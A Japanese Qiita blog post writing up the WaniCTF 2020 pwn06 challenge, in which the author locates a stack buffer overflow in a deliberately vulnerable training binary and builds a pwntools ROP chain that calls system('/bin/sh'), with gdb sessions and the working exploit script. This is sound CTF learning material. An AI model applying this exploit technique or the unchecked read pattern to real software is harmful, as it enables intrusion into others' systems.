2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

WaniCTF 2020 pwn 06 rop func call Writeup

Last updated at Posted at 2021-04-29

難しいことはまだわからない。作問者writeupをなぞってるだけだけど失敗した。いつかできるようになる。頑張る。  できた。
この問題では,Return Oriented Programming (ROP)を勉強できる。

ただし,グローバル変数に

char binsh[] = "/bin/sh";

があったり,main関数内に

system("echo Welcome to rop function call!!!");

があるなど,まだまだ訓練専用の「仕込み」がふんだんにあるコードだ。

目標

レジスタ
RDI "/bin/sh"のアドレス
RSI 0x0
の状態でretでsystem関数に飛ばす

スタック設計図

| pop rdi ; ret ;    |
+--------------------+
| "/bin/sh"          |
+--------------------+
| pop rsi ; ret ;    |
+--------------------+
| 0x0                |
+--------------------+
| system@plt         |

攻撃コード

pwn06.py
import pwn

#io = pwn.remote("rop.wanictf.org", 9006)
io = pwn.process("./pwn06")

ret = io.readuntil("What's your name?: ")
print(ret)

addr_binsh = 0x601080
addr_system_plt = 0x4006c0
addr_pop_rdi = 0x400a53
addr_pop_rsi = 0x400a51

# 0x400a51
# pop rsi
# pop r15 <--
# ret

s = b"A" * 22
s += pwn.p64(addr_pop_rdi)
s += pwn.p64(addr_binsh)
s += pwn.p64(addr_pop_rsi)
s += pwn.p64(0)
s += pwn.p64(0)                # <-- "pop r15"
s += pwn.p64(addr_system_plt)

print(s)

io.send(s)
io.interactive()

問題

nc rop.wanictf.org 9006
x64の関数呼び出しと、Return Oriented Programming (ROP)を理解する必要があります。
x64の関数呼び出しでは第一引数がRDI、第二引数がRSI、第三引数がRDIに設定する必要があります。
pwntoolsを使わないと解くのは大変だと思います
念のためpwntoolsのサンプルプログラム「pwn06_sample.py」を載せておきました。
pwn06 pwn06.c も渡される

pwn06.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

char str_head[] = "hello ";
char str_tail[] = "!\n";
char binsh[] = "/bin/sh";

void init();
void debug_stack_dump(unsigned long rsp, unsigned long rbp);

void vuln()
{
    char name[10];
    int ret;

    printf("What's your name?: ");
    ret = read(0, name, 0x100);
    name[ret - 1] = 0;

    write(0, str_head, strlen(str_head));
    write(0, name, strlen(name));
    write(0, str_tail, strlen(str_tail));

    { //for learning stack
        register unsigned long rsp asm("rsp");
        register unsigned long rbp asm("rbp");
        debug_stack_dump(rsp, rbp);
    }
}

int main()
{
    init();
    system("echo Welcome to rop function call!!!");
    while (1)
    {
        vuln();
    }
}

void init()
{
    alarm(30);
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

void debug_stack_dump(unsigned long rsp, unsigned long rbp)
{
    unsigned long i;
    puts("\n***start stack dump***");
    i = rsp;
    while (i <= rbp + 32)
    {
        unsigned long *p;
        p = (unsigned long *)i;
        printf("0x%lx: 0x%016lx", i, *p);
        if (i == rsp)
        {
            printf(" <- rsp");
        }
        else if (i == rbp)
        {
            printf(" <- rbp");
        }
        else if (i == rbp + 8)
        {
            printf(" <- return address");
        }
        printf("\n");
        i += 8;
    }
    puts("***end stack dump***\n");
}

目標

Buffer Over Flow (BOF)を使ってROP (Return Oriented Programming)でsystem("/bin/sh")を呼ぶ

BOF

gdb で A の数を特定する

$ gdb -q ./pwn06
Reading symbols from ./pwn06...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x40089e
gdb-peda$ r
Starting program: /mnt/c/pwn06
Breakpoint 1, 0x000000000040089e in main ()
gdb-peda$ pdisass vuln
(略)
gdb-peda$ b *0x0000000000400826
Breakpoint 2 at 0x400826
gdb-peda$ c
Continuing.
[New process 885]
process 885 is executing new program: /bin/dash
Error in re-setting breakpoint 1: Function "main" not defined.
Warning:
Cannot insert breakpoint 2.
Cannot access memory at address 0x400826

あれれ,怒られた。
先生によると start 直後 set follow-fork-mode parent をする必要があるとのこと。
やり直す

$ gdb -q ./pwn06
Reading symbols from ./pwn06...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x40089e
gdb-peda$ r
Starting program: /mnt/c/pwn06
Breakpoint 1, 0x000000000040089e in main ()

ここで「forkしても親を追いかけ続ける」と宣言をする

gdb-peda$ set follow-fork-mode parent

main関数

gdb-peda$ pdisass
Dump of assembler code for function main:
   0x000000000040089a <+0>:     push   rbp
   0x000000000040089b <+1>:     mov    rbp,rsp
=> 0x000000000040089e <+4>:     mov    eax,0x0
   0x00000000004008a3 <+9>:     call   0x4008c0 <init>
   0x00000000004008a8 <+14>:    lea    rdi,[rip+0x1e1]        # 0x400a90
   0x00000000004008af <+21>:    call   0x4006c0 <system@plt>
   0x00000000004008b4 <+26>:    mov    eax,0x0
   0x00000000004008b9 <+31>:    call   0x4007e7 <vuln>
   0x00000000004008be <+36>:    jmp    0x4008b4 <main+26>
End of assembler dump.

ねらい目は vuln からの戻りアドレス 0x4008be

vuln関数

gdb-peda$ pdisass vuln
Dump of assembler code for function vuln:
=> 0x00000000004007e7 <+0>:     push   rbp
   0x00000000004007e8 <+1>:     mov    rbp,rsp
   0x00000000004007eb <+4>:     sub    rsp,0x10
   0x00000000004007ef <+8>:     lea    rdi,[rip+0x282]        # 0x400a78
   0x00000000004007f6 <+15>:    mov    eax,0x0
   0x00000000004007fb <+20>:    call   0x4006d0 <printf@plt>
   0x0000000000400800 <+25>:    lea    rax,[rbp-0xe]
   0x0000000000400804 <+29>:    mov    edx,0x100
   0x0000000000400809 <+34>:    mov    rsi,rax
   0x000000000040080c <+37>:    mov    edi,0x0
   0x0000000000400811 <+42>:    call   0x4006f0 <read@plt>
   0x0000000000400816 <+47>:    mov    DWORD PTR [rbp-0x4],eax
   0x0000000000400819 <+50>:    mov    eax,DWORD PTR [rbp-0x4]
   0x000000000040081c <+53>:    sub    eax,0x1
   0x000000000040081f <+56>:    cdqe
   0x0000000000400821 <+58>:    mov    BYTE PTR [rbp+rax*1-0xe],0x0
   0x0000000000400826 <+63>:    lea    rdi,[rip+0x200843]        # 0x601070 <str_head>
   0x000000000040082d <+70>:    call   0x4006a0 <strlen@plt>
   0x0000000000400832 <+75>:    mov    rdx,rax
   0x0000000000400835 <+78>:    lea    rsi,[rip+0x200834]        # 0x601070 <str_head>
   0x000000000040083c <+85>:    mov    edi,0x0
   0x0000000000400841 <+90>:    call   0x400690 <write@plt>
   0x0000000000400846 <+95>:    lea    rax,[rbp-0xe]
   0x000000000040084a <+99>:    mov    rdi,rax
   0x000000000040084d <+102>:   call   0x4006a0 <strlen@plt>
   0x0000000000400852 <+107>:   mov    rdx,rax
   0x0000000000400855 <+110>:   lea    rax,[rbp-0xe]
   0x0000000000400859 <+114>:   mov    rsi,rax
   0x000000000040085c <+117>:   mov    edi,0x0
   0x0000000000400861 <+122>:   call   0x400690 <write@plt>
   0x0000000000400866 <+127>:   lea    rdi,[rip+0x20080a]        # 0x601077 <str_tail>
   0x000000000040086d <+134>:   call   0x4006a0 <strlen@plt>
   0x0000000000400872 <+139>:   mov    rdx,rax
   0x0000000000400875 <+142>:   lea    rsi,[rip+0x2007fb]        # 0x601077 <str_tail>
   0x000000000040087c <+149>:   mov    edi,0x0
   0x0000000000400881 <+154>:   call   0x400690 <write@plt>
   0x0000000000400886 <+159>:   mov    rdx,rbp
   0x0000000000400889 <+162>:   mov    rax,rsp
   0x000000000040088c <+165>:   mov    rsi,rdx
   0x000000000040088f <+168>:   mov    rdi,rax
   0x0000000000400892 <+171>:   call   0x40090d <debug_stack_dump>
   0x0000000000400897 <+176>:   nop
   0x0000000000400898 <+177>:   leave
   0x0000000000400899 <+178>:   ret
End of assembler dump.

readの後,文字列の末尾に 0x00 を設定した後の 0x0000000000400826 にブレークポイント

gdb-peda$ b *0x0000000000400826
Breakpoint 3 at 0x400826
gdb-peda$ c
Continuing.

Program received signal SIGALRM, Alarm clock.
What's your name?:

ここで AAA を入力
image.png
AAA と 0x4008be がスタックに見えてる
詳細に

gdb-peda$ x/10gx 0x7ffffffee280

image.png
蛍光ペンで示したように BOF には A*22 が必要

#ROP
先生によると
RDI = /bin/shのアドレス
RSI = 0
の状態にしてsystem関数のアドレスに飛ばせばシェルを呼び出せる
とのこと。

ROPに必要なパーツ

文字列"/bin/sh" のアドレス
system@plt のアドレス
pop rdi ; ret ; のアドレス
pop rsi ; ret ; のアドレス

文字列"/bin/sh"のアドレス

$ gdb -q ./pwn06

gdb-peda$ p &binsh
$3 = (<data variable, no debug info> *) 0x601080 <binsh>

0x601080

system@plt のアドレス

$ objdump -d -M intel ./pwn06 | grep system
00000000004006c0 <system@plt>:
  4006c0:       ff 25 7a 09 20 00       jmp    QWORD PTR [rip+0x20097a]        # 601040 <system@GLIBC_2.2.5>
  4008af:       e8 0c fe ff ff          call   4006c0 <system@plt>

4006c0 ですね

pop rdi ; ret ; のアドレス

ROPgadgetというのがインストールできなかった。
よって,Linux x86 Opcode を参照し,pop rdi の マシン語 が 5f とわかったので検索した。

$ objdump -d -M intel ./pwn06 | grep 5f
  4009d1:       0f 86 5f ff ff ff       jbe    400936 <debug_stack_dump+0x29>
  400a52:       41 5f                   pop    r15

image.png
400a53 でいけそう

pop rsi ; ret ; のアドレス

5e を探せ

$ objdump -d -M intel ./pwn06 | grep 5e
  40065e:       c3                      ret
  400705:       5e                      pop    rsi
  400a50:       41 5e                   pop    r14

image.png
ret までワンクッションあり,工夫は必要だが,400a51 でいけそう

目標達成に必要なパーツ

文字列"/bin/sh" のアドレス 0x601080
system@plt のアドレス 0x4006c0
pop rdi のアドレス 0x400a53
pop rsi のアドレス 0x400a51

スタックの予想図

0x400a53  pop rdi ; ret ; のアドレス
0x601080  rdiに入れる文字列"/bin/sh" のアドレス
0x400a51  pop rsi ; pop r15 ; ret ; のアドレス
0x0    rsi に入れる0x0
0x0    pop r15用(意味はないが仕方なく)でも次のretでsystem@plt発動
0x4006c0  system@pltのアドレス

攻撃してみる

$ python -c "from pwn import *; print 'A'*(22)+p64(0x400a53)+p64(0x601080)+p64(0x400a51)+p64(0x0)+p64(0x0)+p64(0x4006c0)" | ./pwn06
Welcome to rop function call!!!
What's your name?:
***start stack dump***
0x7ffff7dc8370: 0x4141414141410000 <- rsp
0x7ffff7dc8378: 0x0000004741414141
0x7ffff7dc8380: 0x4141414141414141 <- rbp
0x7ffff7dc8388: 0x0000000000400a53 <- return address
0x7ffff7dc8390: 0x0000000000601080
0x7ffff7dc8398: 0x0000000000400a51
0x7ffff7dc83a0: 0x0000000000000000
***end stack dump***

Segmentation fault (core dumped)

アリ?失敗した。何でだろう?

成功した攻撃コード

pwn06.py
import pwn

#io = pwn.remote("rop.wanictf.org", 9006)
io = pwn.process("./pwn06")

ret = io.readuntil("What's your name?: ")
print(ret)

addr_binsh = 0x601080
addr_system_plt = 0x4006c0
addr_pop_rdi = 0x400a53
addr_pop_rsi = 0x400a51

# 0x400a51
# pop rsi
# pop r15 <--
# ret

s = b"A" * 22
s += pwn.p64(addr_pop_rdi)
s += pwn.p64(addr_binsh)
s += pwn.p64(addr_pop_rsi)
s += pwn.p64(0)
s += pwn.p64(0)                # <-- "pop r15"
s += pwn.p64(addr_system_plt)

print(s)

io.send(s)
io.interactive()

実行結果

$ python pwn06.py
[+] Starting local process './pwn06': pid 146
Welcome to rop function call!!!
What's your name?:
AAAAAAAAAAAAAAAAAAAAAAS
@\x00\x00\x00\x10\x00\x00\x00
@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00
[*] Switching to interactive mode

***start stack dump***
0x7ffff47af2f0: 0x4141414141410000 <- rsp
0x7ffff47af2f8: 0x0000004641414141
0x7ffff47af300: 0x4141414141414141 <- rbp
0x7ffff47af308: 0x0000000000400a53 <- return address
0x7ffff47af310: 0x0000000000601080
0x7ffff47af318: 0x0000000000400a51
0x7ffff47af320: 0x0000000000000000
***end stack dump***

$ ls

 
Linux x86-opcode-map

 
作問者writeup

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?